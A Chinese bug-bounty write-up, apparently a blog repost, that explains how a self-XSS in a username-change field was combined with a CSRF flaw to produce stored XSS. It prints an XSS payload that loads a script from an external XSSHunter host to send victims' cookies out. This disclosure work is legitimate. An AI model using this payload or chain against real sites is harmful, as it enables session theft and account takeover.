通过组合Self-XSS + CSRF得到存储型XSS

在一次漏洞赏金挖掘中,我在更改用户名的功能点出发现了一个XSS,在修改用户名的地方添加了一个简单的XSS payload并且刷新页面:

用户设置面板

XSS证明

但是问题是这个功能配置并不是公共的,造成XSS漏洞的唯一方法是告诉受害者将其名称更改为恶意JavaScript代码,这称为Self-XSS,没有太大影响。

接下来,我使用burpsuite抓取 改变名字这个功能点的数据包:

从数据包来看,没有看到防御csrf的token,这看起来有可利用的点,于是我使用burpsuite 生成了CSRF poc

并在浏览器中重放,而得到的响应是:success

nice!现在我们有了CSRF + Self-XSS,让我们将它们组合在一起,表单如下:

最终POC

在名字字段我添加了JavaScript代码它是从xsshunter.comhttps://xsshunter.com/生成的XSS PoC

复制代码
"><script src=https://***.xss.ht></script>

在最后我添加了JavaScript自动提交表单,使其更有效。

现在,用户名更改为JavaScript代码后,浏览主页的代码将在目标的浏览器中加载,并向XSS hunter平台发送回cookie。

存储XSS

回到XSSHunter,当任何用户打开我们的HTML表单时,平台获取到了目标cookie,由此我们可得到了一个Stored XSS(存储型XSS)。

无偿获取网络安全优质学习资料与干货教程

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

相关推荐
程序员老赵1 分钟前
Docker 部署填鸭表单完整教程:搭建私有化问卷与表单收集平台
前端·docker·开源
重生之小比特7 分钟前
【Java SE】抽象类和接口
java·开发语言
Lyyaoo.10 分钟前
【设计模型】策略模式
java
无限压榨切图仔17 分钟前
向量库能搜到内容,为什么还不算学会 RAG
前端·agent
mmsx17 分钟前
MapLibre 实战 11|用户说"我的地块丢了":一个 sealed class 图层模型,和四个让我重构三版的坑
android·前端·开源
Wang's Blog19 分钟前
Java框架快速入门: Spring Security+OAuth2之单点登录(SSO)实战
服务器·spring·状态模式
xqchen20 分钟前
代码差异可视化方案选型:diff2html 实战指南
前端
譕痕20 分钟前
Idea 集成 智能体开发工具“千问(qwen)”
java·ide·spring·语言模型
名字还没想好☜21 分钟前
用 Zustand 做 React 全局状态管理:告别 Context 重渲染,3 个实战模式与持久化
前端
用户81818706274626 分钟前
第27章 消息丢失/重复消费的全链路排查(生产者→Broker→消费者)
java·后端